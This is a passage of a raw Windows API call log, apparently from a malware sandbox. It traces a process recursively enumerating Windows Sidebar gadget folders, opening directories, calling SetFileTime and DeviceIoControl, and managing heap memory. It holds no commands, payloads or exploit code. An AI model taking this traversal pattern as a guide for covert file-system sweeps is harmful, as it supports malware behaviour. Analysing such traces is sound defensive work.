lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc48435dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f4167c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_Off.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5de162, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5de162, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f677dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_On.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f8d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_Off.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba5b8003, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba5b8003, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4f8d93c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_On.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba6042c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba6042c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4fb3a9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyoutBack.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4f9928, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4f9928, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc4fb3a9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_docked.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba51fa87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba51fa87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc5d89a7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_floating.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba545be6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba545be6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_flyout.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56bd45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba56bd45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba6042c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba6042c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_docked.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba62a420, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba62a420, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_Undocked.png", cAlternateFileName="")) returned 1 [0090.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69bcb3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssLogo.gif", cAlternateFileName="")) returned 1 [0090.275] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56bd45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba56bd45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_docked.png", cAlternateFileName="")) returned 1 [0090.275] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_floating.png", cAlternateFileName="")) returned 1 [0090.275] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 1 [0090.275] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba591ea4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba591ea4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc69969dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 0 [0090.275] GetLastError () returned 0x12 [0090.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f130) returned 1 [0090.275] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133f028) returned 1 [0090.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133ef20) returned 1 [0090.276] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.276] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.276] GetLastError () returned 0x12 [0090.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ed78) returned 1 [0090.277] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131d9e0) returned 1 [0090.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131dae8) returned 1 [0090.277] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="")) returned 1 [0090.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0090.279] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.279] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.279] NtClose (Handle=0x180) returned 0x0 [0090.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dae8 [0090.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0090.281] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0090.281] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.281] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbafe414, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbafe414, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0b3b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3318 [0090.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ef20 [0090.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.283] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.283] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb0ffddc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb0ffddc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3338 [0090.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f028 [0090.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.285] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.285] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3358 [0090.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133f130 [0090.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.287] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.287] GetLastError () returned 0x12 [0090.287] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.287] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.287] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.287] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbafe414, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbafe414, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0b3b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.287] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340c00 [0090.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0090.288] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.288] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.289] NtClose (Handle=0x180) returned 0x0 [0090.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340c00) returned 1 [0090.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340c00 [0090.290] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340d08 [0090.290] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0090.290] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.290] FindNextFileW (in: 